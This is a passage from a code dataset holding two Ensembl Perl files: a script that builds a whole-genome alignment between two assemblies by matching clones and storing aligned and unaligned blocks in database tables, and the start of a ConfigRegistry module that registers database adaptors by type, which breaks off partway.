code stringlengths 2 1.05M | repo_name stringlengths 5 101 | path stringlengths 4 991 | language stringclasses 3 values | license stringclasses 5 values | size int64 2 1.05M |
|---|---|---|---|---|---|
#!/usr/bin/env perl
# Copyright [1999-2014] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
=head1 NAME
align_by_clone_identity.pl - create a whole genome alignment between two closely
related assemblies, step 1
=head1 SYNOPSIS
align_by_clone_identity.pl [arguments]
Required arguments:
--dbname, db_name=NAME database name NAME
--host, --dbhost, --db_host=HOST database host HOST
--port, --dbport, --db_port=PORT database port PORT
--user, --dbuser, --db_user=USER database username USER
--pass, --dbpass, --db_pass=PASS database passwort PASS
--assembly=ASSEMBLY assembly version ASSEMBLY
--altdbname=NAME alternative database NAME
--altassembly=ASSEMBLY alternative assembly version ASSEMBLY
Optional arguments:
--chromosomes, --chr=LIST only process LIST toplevel seq_regions
--skipclones=FILE read list of clones to skip from FILE
--conffile, --conf=FILE read parameters from FILE
(default: conf/Conversion.ini)
--logfile, --log=FILE log to FILE (default: *STDOUT)
--logpath=PATH write logfile to PATH (default: .)
--logappend, --log_append append to logfile (default: truncate)
-v, --verbose=0|1 verbose logging (default: false)
-i, --interactive=0|1 run script interactively (default: true)
-n, --dry_run, --dry=0|1 don't write results to database
-h, --help, -? print help (this message)
=head1 DESCRIPTION
This script is part of a series of scripts to create a mapping between two
assemblies. It assembles the toplevel coordinate systems of two different
assemblies of a genome by creating a whole genome alignment between the two.
The process assumes that the two assemblies are reasonably similar, i.e. there
are no major rearrangements or clones moved from one toplevel seq_region to
another.
See "Related scripts" below for an overview of the whole process.
This particular script creates a whole genome alignment between two closely
related assemblies. You will need a database containing the reference assembly
and the alternative toplevel seq_regions which can be created using
load_alternative_assembly.pl.
The alignment is created in two steps:
1. Match clones with same name and version directly and create alignment
blocks for these regions. Clones can be tagged manually to be excluded
from these direct matches by listing them in a file of clones to skip
(--skipclones argument). This can be useful to get better results in
regions with major assembly differences.
The result is stored in the assembly table as an assembly between the
toplevel seq_regions of both genome assemblies.
2. Store non-aligned blocks in a temporary table (tmp_align). They can
later be aligned using blastz by align_nonident_regions.pl.
=head1 RELATED FILES
The whole process of creating a whole genome alignment between two assemblies
is done by a series of scripts. Please see
ensembl/misc-scripts/assembly/README
for a high-level description of this process, and POD in the individual scripts
for the details.
=head1 AUTHOR
Patrick Meidl <meidl@ebi.ac.uk>, Ensembl core API team
=head1 CONTACT
Please post comments/questions to the Ensembl development list
<http://lists.ensembl.org/mailman/listinfo/dev>
=cut
use strict;
use warnings;
no warnings 'uninitialized';
use FindBin qw($Bin);
use vars qw($SERVERROOT);
BEGIN {
$SERVERROOT = "$Bin/../../..";
unshift(@INC, "$SERVERROOT/ensembl/modules");
unshift(@INC, "$SERVERROOT/bioperl-live");
}
use Getopt::Long;
use Pod::Usage;
use Bio::EnsEMBL::Utils::ConversionSupport;
use Bio::EnsEMBL::Attribute;
$| = 1;
my $support = new Bio::EnsEMBL::Utils::ConversionSupport($SERVERROOT);
# parse options
$support->parse_common_options(@_);
$support->parse_extra_options(
'assembly=s',
'althost=s',
'altport=i',
'altuser=s',
'altpass=s',
'altdbname=s',
'altassembly=s',
'chromosomes|chr=s@',
'skipclones|skip_clones=s',
);
$support->allowed_params(
$support->get_common_params,
'assembly',
'althost',
'altport',
'altuser',
'altpass',
'altdbname',
'altassembly',
'chromosomes',
'skipclones',
);
if ($support->param('help') or $support->error) {
warn $support->error if $support->error;
pod2usage(1);
}
$support->comma_to_list('chromosomes');
# ask user to confirm parameters to proceed
$support->confirm_params;
# get log filehandle and print heading and parameters to logfile
$support->init_log;
$support->check_required_params(
'assembly',
'altdbname',
'altassembly'
);
# suggest to run non-verbosely
my $txt = qq(Running this script with the --verbose option will create a lot of output.
It is recommended to do this only for debug purposes.
Shall I switch to non-verbose logging for you?);
if ($support->param('verbose') and $support->user_proceed($txt)) {
$support->param('verbose', 0);
}
#####
# connect to database and get adaptors
#
my ($dba, $dbh, $sql, $sth);
# first set connection parameters for alternative db if not different from
# reference db
map { $support->param("alt$_", $support->param($_)) unless ($support->param("alt$_")) } qw(host port user);
# reference database
my $R_dba = $support->get_database('ensembl');
my $R_dbh = $R_dba->dbc->db_handle;
my $R_sa = $R_dba->get_SliceAdaptor;
# database containing the alternative assembly
my $A_dba = $support->get_database('core', 'alt');
my $A_sa = $A_dba->get_SliceAdaptor;
#####
# create temporary table for storing non-aligned blocks
#
unless ($support->param('dry_run')) {
$R_dbh->do(qq(
CREATE TABLE IF NOT EXISTS tmp_align (
tmp_align_id int(10) unsigned NOT NULL auto_increment,
alt_seq_region_name varchar(20) NOT NULL,
alt_start int(10) UNSIGNED NOT NULL,
alt_end int(10) UNSIGNED NOT NULL,
ref_seq_region_name varchar(20) NOT NULL,
ref_start int(10) UNSIGNED NOT NULL,
ref_end int(10) UNSIGNED NOT NULL,
PRIMARY KEY (tmp_align_id)
)
));
# clear tmp_align table of entries from previous runs
$R_dbh->do(qq(DELETE FROM tmp_align));
}
#####
# get reference and alternative toplevel seq_regions
#
my $R_chrlength = $support->get_chrlength($R_dba, $support->param('assembly'), 'toplevel');
my $A_chrlength = $support->get_chrlength($R_dba, $support->param('altassembly'), 'toplevel');
#####
# read list of clones to skip from file
#
$support->log("Reading list of clones to skip from file...\n");
my %skip = ();
if ($support->param('skipclones')) {
my $infh = $support->filehandle('<', $support->param('skipclones'));
while (<$infh>) {
chomp;
$skip{$_} = 1;
}
}
$support->log("Done.\n\n");
#####
# loop over toplevel seq_regions
#
$support->log_stamped("Looping over toplevel seq_regions...\n");
my $match = {};
my $nomatch = {};
my %stats_total;
my @block_length;
my $fmt1 = "%-40s%10.0f\n";
my $fmt2 = "%-40s%9.2f%%\n";
my $fmt3 = "%-12s%-12s%-12s%-12s%-12s%-9s\n";
my $fmt4 = "%10.0f %10.0f %7.0f %10.0f %10.0f %7.0f\n";
my $fmt5 = "%-40s%10s\n";
my $fmt6 = "%-10s%-12s%-10s%-12s\n";
my $sth1 = $R_dbh->prepare(qq(
INSERT IGNORE INTO assembly (asm_seq_region_id, cmp_seq_region_id,
asm_start, asm_end, cmp_start, cmp_end, ori)
VALUES (?, ?, ?, ?, ?, ?, 1)
));
my $sth2 = $R_dbh->prepare(qq(
INSERT INTO tmp_align values(NULL, ?, ?, ?, ?, ?, ?
)));
foreach my $R_chr ($support->sort_chromosomes($R_chrlength)) {
$support->log_stamped("Toplevel seq_region $R_chr...\n", 1);
my $A_chr = $R_chr;
# fetch toplevel seq_region slices
my $R_slice = $R_sa->fetch_by_region('toplevel', $R_chr, undef, undef, undef, $support->param('assembly'));
my $A_slice = $A_sa->fetch_by_region('toplevel', $A_chr, undef, undef, undef, $support->param('altassembly'));
unless ($R_slice and $A_slice) {
$support->log("Seq_region not found in either ref or alt assembly. Skipping.\n", 2);
next;
}
# we need to fetch the alternative slice from the reference db explicitely by
# coord_system, since toplevel attribute is not set there
my $cs_name = $A_slice->coord_system_name;
my $A_slice_ref = $R_sa->fetch_by_region($cs_name, $A_chr, undef, undef, undef, $support->param('altassembly'));
# project to contigs (not to clones because for WGS assembly regions there
# are no clones)
my @R_contigs = @{ $R_slice->project('contig') };
my @A_contigs = @{ $A_slice->project('contig') };
# loop over alternative clontigs
my $last = 0;
my $j = 0;
my $match_flag = 0;
my $last_A_seg;
my %stats_chr;
foreach my $A_seg (@A_contigs) {
my $A_contig = $A_seg->to_Slice;
# project contig to clone for clone name comparison
my @A_clones = @{ $A_contig->project('clone') };
my $A_clone;
$A_clone = $A_clones[0]->to_Slice if (@A_clones);
$support->log_verbose("Alternative contig ($j) ".$A_contig->seq_region_name.":".$A_contig->start."-".$A_contig->end.":".$A_contig->strand." $A_chr:".$A_seg->from_start."-".$A_seg->from_end."\n", 2);
# walk reference contigs
REFCLONES:
for (my $i = $last; $i < scalar(@R_contigs); $i++) {
my $R_contig = $R_contigs[$i]->to_Slice;
# project contig to clone for clone name comparison
my @R_clones = @{ $R_contig->project('clone') };
my $R_clone;
$R_clone = $R_clones[0]->to_Slice if (@R_clones);
# same clone name.version and contig and clone strand found
if ($A_clone and $R_clone and
$A_clone->seq_region_name eq $R_clone->seq_region_name and
$A_clone->strand == $R_clone->strand and
$A_contig->strand == $R_contig->strand) {
# same clone start/end -> identical assembly
if ($A_clone->start == $R_clone->start and $A_clone->end == $R_clone->end) {
# check if clone is tagged to be skipped
# this can be used to resolve some odd assembly differences
if ($skip{$A_clone->seq_region_name}) {
$support->log_verbose("Skipping matching reference clone ($i)".
$R_clone->seq_region_name.":".$R_clone->start."-".
$R_clone->end.":".$R_clone->strand."$R_chr:".
$R_contigs[$i]->from_start."-".$R_contigs[$i]->from_end.
"\n", 2);
&found_nomatch($R_chr, $A_chr, $match, $nomatch, $A_seg,
$last_A_seg, $R_contigs[$i], $R_contigs[$i-1],
$match_flag, $i, $j
);
$stats_chr{'skipped'}++;
$match_flag = 0;
} else {
$support->log_verbose("Found matching reference clone ($i)".
$R_clone->seq_region_name.":".$R_clone->start."-".
$R_clone->end.":".$R_clone->strand."$R_chr:".
$R_contigs[$i]->from_start."-".$R_contigs[$i]->from_end.
"\n", 2);
&found_match($R_chr, $A_chr, $match, $nomatch, $A_seg,
$last_A_seg, $R_contigs[$i], $R_contigs[$i-1],
$match_flag, $i, $j
);
$stats_chr{'identical'}++;
$match_flag = 1;
}
# start/end mismatch
} else {
$support->log_verbose("Start/end mismatch for clone ($i) ".$R_contig->seq_region_name.":".$R_contig->start."-".$R_contig->end.":".$R_contig->strand." $R_chr:".$R_contigs[$i]->from_start."-".$R_contigs[$i]->from_end."\n", 2);
&found_nomatch(
$R_chr, $A_chr, $match, $nomatch, $A_seg, $last_A_seg,
$R_contigs[$i], $R_contigs[$i-1], $match_flag, $i, $j
);
$stats_chr{'mismatch'}++;
$match_flag = 0;
}
$i++;
$last = $i;
last REFCLONES;
# different clones or no clones found
} else {
$support->log_verbose("Skipping clone ($i)".$R_contig->seq_region_name.":".$R_contig->start."-".$R_contig->end.":".$R_contig->strand." $R_chr:".$R_contigs[$i]->from_start."-".$R_contigs[$i]->from_end."\n", 2);
&found_nomatch($R_chr, $A_chr, $match, $nomatch, $A_seg, $last_A_seg, $R_contigs[$i], $R_contigs[$i-1], $match_flag, $i, $j);
$match_flag = 0;
}
}
$last_A_seg = $A_seg;
$j++;
}
# adjust the final clone count
if ($match_flag) {
# last clone was a match, adjust matching clone count
if ($match->{$R_chr}) {
my $c = scalar(@{ $match->{$R_chr} }) - 1;
$match->{$R_chr}->[$c]->[2] = scalar(@A_contigs) - $match->{$R_chr}->[$c]->[2];
$match->{$R_chr}->[$c]->[5] = scalar(@R_contigs) - $match->{$R_chr}->[$c]->[5];
}
} else {
# last clone was a non-match, adjust non-matching clone count
if ($nomatch->{$R_chr}) {
my $c = scalar(@{ $nomatch->{$R_chr} }) - 1;
$nomatch->{$R_chr}->[$c]->[2] = scalar(@A_contigs) - $nomatch->{$R_chr}->[$c]->[2];
$nomatch->{$R_chr}->[$c]->[5] = scalar(@R_contigs) - $nomatch->{$R_chr}->[$c]->[5];
}
}
# filter single assembly inserts from non-aligned blocks (i.e. cases where
# a block has clones only in one assembly, not in the other) - there is
# nothing to be done with them
@{ $nomatch->{$R_chr} } = grep { $_->[2] > 0 and $_->[5] > 0 }
@{ $nomatch->{$R_chr} } if ($nomatch->{$R_chr});
# store directly aligned blocks in assembly table
unless ($support->param('dry_run')) {
$support->log("Adding assembly entries for directly aligned blocks...\n", 1);
my $c;
for ($c = 0; $c < scalar(@{ $match->{$R_chr} || [] }); $c++) {
$sth1->execute(
$R_sa->get_seq_region_id($R_slice),
$R_sa->get_seq_region_id($A_slice_ref),
$match->{$R_chr}->[$c]->[3],
$match->{$R_chr}->[$c]->[4],
$match->{$R_chr}->[$c]->[0],
$match->{$R_chr}->[$c]->[1]
);
}
$support->log("Done inserting $c entries.\n", 1);
}
# store non-aligned blocks in tmp_align table
unless ($support->param('dry_run')) {
if ($nomatch->{$R_chr}) {
$support->log("Storing non-aligned blocks in tmp_align table...\n", 1);
my $c;
for ($c = 0; $c < scalar(@{ $nomatch->{$R_chr} }); $c++) {
$sth2->execute(
$nomatch->{$R_chr}->[$c]->[6],
$nomatch->{$R_chr}->[$c]->[0],
$nomatch->{$R_chr}->[$c]->[1],
$R_chr,
$nomatch->{$R_chr}->[$c]->[3],
$nomatch->{$R_chr}->[$c]->[4],
);
}
$support->log("Done inserting $c entries.\n", 1);
}
}
# stats for this toplevel seq_region
$stats_chr{'A_only'} = scalar(@A_contigs) - $stats_chr{'identical'} - $stats_chr{'mismatch'};
$stats_chr{'R_only'} = scalar(@R_contigs) - $stats_chr{'identical'} - $stats_chr{'mismatch'};
for (my $c = 0; $c < scalar(@{ $match->{$R_chr} || [] }); $c++) {
$stats_chr{'A_matchlength'} += $match->{$R_chr}->[$c]->[1] - $match->{$R_chr}->[$c]->[0];
$stats_chr{'R_matchlength'} += $match->{$R_chr}->[$c]->[4] - $match->{$R_chr}->[$c]->[3];
}
$stats_chr{'A_coverage'} = 100 * $stats_chr{'A_matchlength'} / $A_slice->length;
$stats_chr{'R_coverage'} = 100 * $stats_chr{'R_matchlength'} / $R_slice->length;
map { $stats_total{$_} += $stats_chr{$_} } keys %stats_chr;
$support->log("\nStats for toplevel seq_region $R_chr:\n\n", 1);
$support->log(sprintf($fmt5, "Alternative toplevel seq_region name:", $A_chr), 2);
$support->log(sprintf($fmt1, "Length (alternative):", $A_slice->length), 2);
$support->log(sprintf($fmt1, "Length (reference):", $R_slice->length), 2);
$support->log(sprintf($fmt1, "Identical clones:", $stats_chr{'identical'}), 2);
$support->log(sprintf($fmt1, "Identical clones that were skipped:", $stats_chr{'skipped'}), 2);
$support->log(sprintf($fmt1, "Clones with start/end mismatch:", $stats_chr{'mismatch'}), 2);
$support->log(sprintf($fmt1, "Clones only in alternative assembly:", $stats_chr{'A_only'}), 2);
$support->log(sprintf($fmt1, "Clones only in refernce assembly:", $stats_chr{'R_only'}), 2);
$support->log(sprintf($fmt2, "Direct match coverage (alternative):", $stats_chr{'A_coverage'}), 2);
$support->log(sprintf($fmt2, "Direct match coverage (reference):", $stats_chr{'R_coverage'}), 2);
# Aligned blocks
if ($match->{$R_chr}) {
$support->log("\nDirectly aligned blocks:\n\n", 1);
$support->log(sprintf($fmt3, qw(ALT_START ALT_END ALT_CLONES REF_START REF_END REF_CLONES)), 2);
$support->log(('-'x71)."\n", 2);
for (my $c = 0; $c < scalar(@{ $match->{$R_chr} }); $c++) {
$support->log(sprintf($fmt4, @{ $match->{$R_chr}->[$c] }), 2);
# sanity check: aligned region pairs must have same length
my $e_len = $match->{$R_chr}->[$c]->[1] - $match->{$R_chr}->[$c]->[0] + 1;
my $v_len = $match->{$R_chr}->[$c]->[4] - $match->{$R_chr}->[$c]->[3] + 1;
$support->log_warning("Length mismatch: $e_len <> $v_len\n", 2) unless ($e_len == $v_len);
}
}
# Non-aligned blocks
if ($nomatch->{$R_chr}) {
$support->log("\nNon-aligned blocks:\n\n", 1);
$support->log(sprintf($fmt3, qw(ALT_START ALT_END ALT_CLONES REF_START REF_END REF_CLONES)), 2);
$support->log(('-'x71)."\n", 2);
for (my $c = 0; $c < scalar(@{ $nomatch->{$R_chr} }); $c++) {
$support->log(sprintf($fmt4, @{ $nomatch->{$R_chr}->[$c] }), 2);
# find longest non-aligned block
my $A_length = $nomatch->{$R_chr}->[$c]->[1] - $nomatch->{$R_chr}->[$c]->[0] + 1;
my $R_length = $nomatch->{$R_chr}->[$c]->[4] - $nomatch->{$R_chr}->[$c]->[3] + 1;
push @block_length, [$A_chr, $A_length, $R_chr, $R_length];
}
}
$support->log_stamped("\nDone with toplevel seq_region $R_chr.\n", 1);
}
# overall stats
$support->log("\nOverall stats:\n");
$support->log(sprintf($fmt1, "Identical clones:", $stats_total{'identical'}), 1);
$support->log(sprintf($fmt1, "Identical clones that were skipped:", $stats_total{'skipped'}), 1);
$support->log(sprintf($fmt1, "Clones with start/end mismatch:", $stats_total{'mismatch'}), 1);
$support->log(sprintf($fmt1, "Clones only in alternative assembly:", $stats_total{'A_only'}), 1);
$support->log(sprintf($fmt1, "Clones only in reference assembly:", $stats_total{'R_only'}), 1);
$support->log("\nNon-match block lengths:\n");
$support->log(sprintf($fmt6, qw(ALT_CHR ALT_LENGTH REF_CHR REF_LENGTH)), 1);
$support->log(('-'x42)."\n", 1);
foreach my $block (sort { $a->[1] <=> $b->[1] } @block_length) {
$support->log(sprintf("%-10s%10.0f %-10s%10.0f\n", @{ $block }), 1);
}
$support->log_stamped("\nDone.\n");
# finish logfile
$support->finish_log;
### end main
=head2 found_match
Arg[1] : String $R_chr - reference toplevel seq_region name
Arg[2] : String $A_chr - alternative toplevel seq_region name
Arg[3] : Hashref $match - datastructure to store aligned blocks
Arg[4] : Hashref $nomatch - datastructure to store non-aligned blocks
Arg[5] : Bio::EnsEMBL::ProjectionSegment $A_seg - current alternative
segment
Arg[6] : Bio::EnsEMBL::ProjectionSegment $last_A_seg - last alternative
segment
Arg[7] : Bio::EnsEMBL::ProjectionSegment $R_seg - current reference
segment
Arg[8] : Bio::EnsEMBL::ProjectionSegment $last_R_seg - last reference
segment
Arg[9] : Boolean $match_flag - flag indicating if last clone was a match
Arg[10] : Int $i - reference clone count
Arg[11] : Int $j - alternative clone count
Description : This function is called when two clones match (i.e. have the
same name.version in both assemblies). Depending on the state
of the last clone (match or nomatch), it extends aligned blocks
or finishes the non-aligned block and creates a new aligned
block.
Return type : none
Exceptions : none
Caller : internal
=cut
sub found_match {
my ($R_chr, $A_chr, $match, $nomatch, $A_seg, $last_A_seg, $R_seg, $last_R_seg, $match_flag, $i, $j) = @_;
# last clone was a match
if ($match_flag) {
# adjust align block end
if ($match->{$R_chr}) {
my $c = scalar(@{ $match->{$R_chr} }) - 1;
# if the gaps between this clone and the last are different, start
# a new block
if (($A_seg->from_start - $match->{$R_chr}->[$c]->[1]) !=
($R_seg->from_start - $match->{$R_chr}->[$c]->[4])) {
$support->log("Gap size mismatch at A:$A_chr:".$match->{$R_chr}->[$c]->[1].'-'.$A_seg->from_start.", R:$R_chr:".$match->{$R_chr}->[$c]->[4].'-'.$R_seg->from_start."\n", 2);
# finish the last align block
$match->{$R_chr}->[$c]->[1] = $last_A_seg->from_end;
$match->{$R_chr}->[$c]->[2] = $j - $match->{$R_chr}->[$c]->[2];
$match->{$R_chr}->[$c]->[4] = $last_R_seg->from_end;
$match->{$R_chr}->[$c]->[5] = $i - $match->{$R_chr}->[$c]->[5];
# start a new align block
push @{ $match->{$R_chr} }, [
$A_seg->from_start,
$A_seg->from_end,
$j,
$R_seg->from_start,
$R_seg->from_end,
$i,
$A_chr,
];
# adjust align block end
} else {
$match->{$R_chr}->[$c]->[1] = $A_seg->from_end;
$match->{$R_chr}->[$c]->[4] = $R_seg->from_end;
}
}
# last clone was a non-match
} else {
# start a new align block
push @{ $match->{$R_chr} }, [
$A_seg->from_start,
$A_seg->from_end,
$j,
$R_seg->from_start,
$R_seg->from_end,
$i,
$A_chr,
];
# finish the last non-align block
if ($nomatch->{$R_chr} and $last_A_seg) {
my $c = scalar(@{ $nomatch->{$R_chr} }) - 1;
$nomatch->{$R_chr}->[$c]->[1] = $last_A_seg->from_end;
$nomatch->{$R_chr}->[$c]->[2] = $j - $nomatch->{$R_chr}->[$c]->[2];
$nomatch->{$R_chr}->[$c]->[4] = $last_R_seg->from_end;
$nomatch->{$R_chr}->[$c]->[5] = $i - $nomatch->{$R_chr}->[$c]->[5];
}
}
}
=head2 found_nomatch
Arg[1] : String $R_chr - reference toplevel seq_region name
Arg[2] : String $A_chr - alternative toplevel seq_region name
Arg[3] : Hashref $match - datastructure to store aligned blocks
Arg[4] : Hashref $nomatch - datastructure to store non-aligned blocks
Arg[5] : Bio::EnsEMBL::ProjectionSegment $A_seg - current alternative
segment
Arg[6] : Bio::EnsEMBL::ProjectionSegment $last_A_seg - last alternative
segment
Arg[7] : Bio::EnsEMBL::ProjectionSegment $R_seg - current reference
segment
Arg[8] : Bio::EnsEMBL::ProjectionSegment $last_R_seg - last reference
segment
Arg[9] : Boolean $match_flag - flag indicating if last clone was a match
Arg[10] : Int $i - reference clone count
Arg[11] : Int $j - alternative clone count
Description : This function is called when two clones don't match (either
different name.version or length mismatch in the two
assemblies). Depending on the state of the last clone (nomatch
or match), it extends non-aligned blocks or finishes the
aligned block and creates a new non-aligned block.
Return type : none
Exceptions : none
Caller : internal
=cut
sub found_nomatch {
my ($R_chr, $A_chr, $match, $nomatch, $A_seg, $last_A_seg, $R_seg, $last_R_seg, $match_flag, $i, $j) = @_;
# last clone was a match
if ($match_flag) {
# start a new non-align block
push @{ $nomatch->{$R_chr} }, [
$A_seg->from_start,
$A_seg->from_end,
$j,
$R_seg->from_start,
$R_seg->from_end,
$i,
$A_chr,
];
# finish the last align block
if ($match->{$R_chr}) {
my $c = scalar(@{ $match->{$R_chr} }) - 1;
$match->{$R_chr}->[$c]->[1] = $last_A_seg->from_end;
$match->{$R_chr}->[$c]->[2] = $j - $match->{$R_chr}->[$c]->[2];
$match->{$R_chr}->[$c]->[4] = $last_R_seg->from_end;
$match->{$R_chr}->[$c]->[5] = $i - $match->{$R_chr}->[$c]->[5];
}
# last clone was a non-match
} else {
# adjust non-align block end
if ($nomatch->{$R_chr}) {
my $c = scalar(@{ $nomatch->{$R_chr} }) - 1;
$nomatch->{$R_chr}->[$c]->[1] = $A_seg->from_end;
$nomatch->{$R_chr}->[$c]->[4] = $R_seg->from_end;
# we're at the beginning of a seq_region, so start a new non-align block
} else {
push @{ $nomatch->{$R_chr} }, [
$A_seg->from_start,
$A_seg->from_end,
$j,
$R_seg->from_start,
$R_seg->from_end,
$i,
$A_chr,
];
}
}
}
| willmclaren/ensembl | misc-scripts/assembly/align_by_clone_identity.pl | Perl | apache-2.0 | 25,494 |
=head1 LICENSE
Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
Copyright [2016-2020] EMBL-European Bioinformatics Institute
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=cut
=head1 CONTACT
Please email comments or questions to the public Ensembl
developers list at <http://lists.ensembl.org/mailman/listinfo/dev>.
Questions may also be sent to the Ensembl help desk at
<http://www.ensembl.org/Help/Contact>.
=cut
=head1 NAME
Bio::EnsEMBL::Utils::ConfigRegistry;
=head1 SYNOPSIS
Bio::EnsEMBL::Utils::ConfigRegistry->load_core($dba);
=head1 DESCRIPTION
The ConfigRegistry will "Register" a set of adaptors based on the type
of database that is being loaded.
=head1 METHODS
=cut
package Bio::EnsEMBL::Utils::ConfigRegistry;
use strict;
use warnings;
use Bio::EnsEMBL::Registry;
my $reg = "Bio::EnsEMBL::Registry";
use Bio::EnsEMBL::Utils::Argument qw(rearrange);
use Bio::EnsEMBL::DBSQL::DBConnection;
use Bio::EnsEMBL::DBSQL::DBAdaptor;
use Bio::EnsEMBL::Utils::Exception qw(warning throw);
sub gen_load {
my ($dba) = @_;
my $pre_hook;
my $config_sub;
# At some point we hope to set the group in the DBadaptor, hence this
# long check etc. should be simpler.
if ( $dba->isa('Bio::EnsEMBL::Compara::DBSQL::DBAdaptor') ) {
if ( !defined( $dba->group() ) ) {
$dba->group('compara');
}
$config_sub = \&Bio::EnsEMBL::Utils::ConfigRegistry::load_compara;
} elsif ( $dba->isa('Bio::EnsEMBL::Lite::DBAdaptor') ) {
if ( !defined( $dba->group() ) ) {
$dba->group('lite');
}
$config_sub = \&Bio::EnsEMBL::Utils::ConfigRegistry::load_lite;
} elsif ( $dba->isa('Bio::EnsEMBL::Pipeline::DBSQL::DBAdaptor') ) {
if ( !defined( $dba->group() ) ) {
$dba->group('pipeline');
}
$config_sub = \&Bio::EnsEMBL::Utils::ConfigRegistry::load_pipeline;
} elsif ( $dba->isa('Bio::EnsEMBL::Hive::DBSQL::DBAdaptor') ) {
if ( !defined( $dba->group() ) ) {
$dba->group('hive');
}
$config_sub = \&Bio::EnsEMBL::Utils::ConfigRegistry::load_hive;
} elsif ( $dba->isa('Bio::EnsEMBL::Variation::DBSQL::DBAdaptor') ) {
if ( !defined( $dba->group() ) ) {
$dba->group('variation');
}
$config_sub = \&Bio::EnsEMBL::Utils::ConfigRegistry::load_variation;
} elsif ( $dba->isa('Bio::EnsEMBL::Funcgen::DBSQL::DBAdaptor') ) {
if ( !defined( $dba->group() ) ) {
$dba->group('funcgen');
}
$pre_hook = \&Bio::EnsEMBL::Utils::ConfigRegistry::pre_funcgen_hook;
$config_sub = \&Bio::EnsEMBL::Utils::ConfigRegistry::load_funcgen;
} elsif ( $dba->isa('Bio::EnsEMBL::DBSQL::OntologyDBAdaptor') || $dba->isa('Bio::Ensembl::DBSQL::OntologyTermAdaptor') ) {
if ( !defined( $dba->group() ) ) {
$dba->group('ontology');
}
$config_sub = \&Bio::EnsEMBL::Utils::ConfigRegistry::load_ontology;
} elsif ( $dba->isa('Bio::EnsEMBL::DBSQL::DBAdaptor') ) {
#vega uses the core DBAdaptor so test if vega is in the dbname
if ( !defined( $dba->group() ) ) {
$dba->group('core');
}
if ( $dba->group eq "estgene" ) {
$config_sub = \&Bio::EnsEMBL::Utils::ConfigRegistry::load_estgene;
} elsif ( $dba->group eq "otherfeatures" ) {
$config_sub =
\&Bio::EnsEMBL::Utils::ConfigRegistry::load_otherfeatures;
} elsif ( $dba->group eq "rnaseq" ) {
$config_sub =
\&Bio::EnsEMBL::Utils::ConfigRegistry::load_rnaseq;
} elsif ( $dba->group eq 'vega' || $dba->group eq 'vega_update' ) {
$config_sub = \&Bio::EnsEMBL::Utils::ConfigRegistry::load_vega;
} else {
$config_sub = \&Bio::EnsEMBL::Utils::ConfigRegistry::load_core;
}
} else {
# none standard DBA adaptor
if ( !defined( $dba->group() ) ) {
$dba->group('none_standard');
}
$config_sub =
\&Bio::EnsEMBL::Utils::ConfigRegistry::load_and_attach_dnadb_to_core;
# throw("Unknown DBAdaptor type $dba\n");
}
#Run the pre-hook if one was defined
$pre_hook->($dba) if $pre_hook;
# return if the connection and species, group are the same
if ( defined( $dba->species ) ) {
my $db_reg = $reg->get_DBAdaptor( $dba->species, $dba->group, 1 );
if ( defined($db_reg) ) {
if ( $dba->dbc->equals( $db_reg->dbc ) ) { return $db_reg }
else {
my $msg =
sprintf( 'WARN: Species (%s) and group (%s) '
. 'same for two seperate databases',
$dba->species(), $dba->group() );
warn "${msg}\nModify species name for one of these\n";
$dba->species(
find_unique_species( $dba->species, $dba->group ) );
}
}
} else { # no species
my @db_reg =
@{ $reg->get_all_DBAdaptors_by_connection( $dba->dbc ) };
foreach my $db_adaptor (@db_reg) {
if ( $db_adaptor->group eq $dba->group ) {
# found same db connection and group
return $db_adaptor;
}
}
$dba->species( find_unique_species( "DEFAULT", $dba->group ) );
if ( $dba->species ne "DEFAULT" ) {
warn "WARN: For multiple species "
. "use species attribute in DBAdaptor->new()\n";
}
}
Bio::EnsEMBL::Registry->add_DBAdaptor( $dba->species(), $dba->group(),
$dba );
#call the loading subroutine. (add the adaptors to the DBAdaptor)
&{$config_sub}($dba);
return $dba;
} ## end sub gen_load
sub find_unique_species {
my ( $species, $group ) = @_;
$reg->add_alias( $species, $species );
my $i = 0;
my $free = 0;
while ( !$free ) {
if ( $i == 0 ) {
if ( !defined( $reg->get_DBAdaptor( $species, $group ) ) ) {
$free = 1;
$i = "";
} else {
$i = 1;
}
} else {
# set needed self alias
$reg->add_alias( $species . $i, $species . $i );
if ( !defined( $reg->get_DBAdaptor( $species . $i, $group ) ) ) {
$free = 1;
} else {
$i++;
}
}
}
$species .= $i;
return ($species);
} ## end sub find_unique_species
sub load_adaptors {
my ($dba) = @_;
my %pairs = %{ $dba->get_available_adaptors() };
while ( my ( $key, $value ) = each(%pairs) ) {
Bio::EnsEMBL::Registry->add_adaptor( $dba->species(), $dba->group(),
$key, $value );
}
}
sub load_and_attach_dnadb_to_core {
my ($dba) = @_;
load_adaptors($dba);
$reg->add_DNAAdaptor( $dba->species(), $dba->group(), $dba->species(),
'core' );
}
=head2 load_core
Arg [1] : DBAdaptor with DBConnection already attached
Returntype : DBAdaptor
Exceptions : none
=cut
sub load_core { load_adaptors(@_) }
#
# 1) core. no need to add dnadb
# 2) not core add dnadb
# 3)
#
=head2 load_compara
Arg [1] : DBAdaptor with DBConnection already attached
Returntype : DBAdaptor
Exceptions : none
=cut
sub load_compara { load_adaptors(@_) }
=head2 load_hive
Arg [1] : DBAdaptor with DBConnection already attached
Returntype : DBAdaptor
Exceptions : none
=cut
sub load_hive { load_adaptors(@_) }
=head2 load_pipeline
Arg [1] : DBAdaptor with DBConnection already attached
Returntype : DBAdaptor
Exceptions : none
=cut
sub load_pipeline { load_adaptors(@_) }
=head2 load_SNP
Arg [1] : DBAdaptor with DBConnection already attached
Returntype : DBAdaptor
Exceptions : none
=cut
sub load_SNP { load_adaptors(@_) }
sub load_haplotype { load_adaptors(@_) }
sub load_ontology { load_adaptors(@_) }
# these that need to attach to the core to get the sequence data
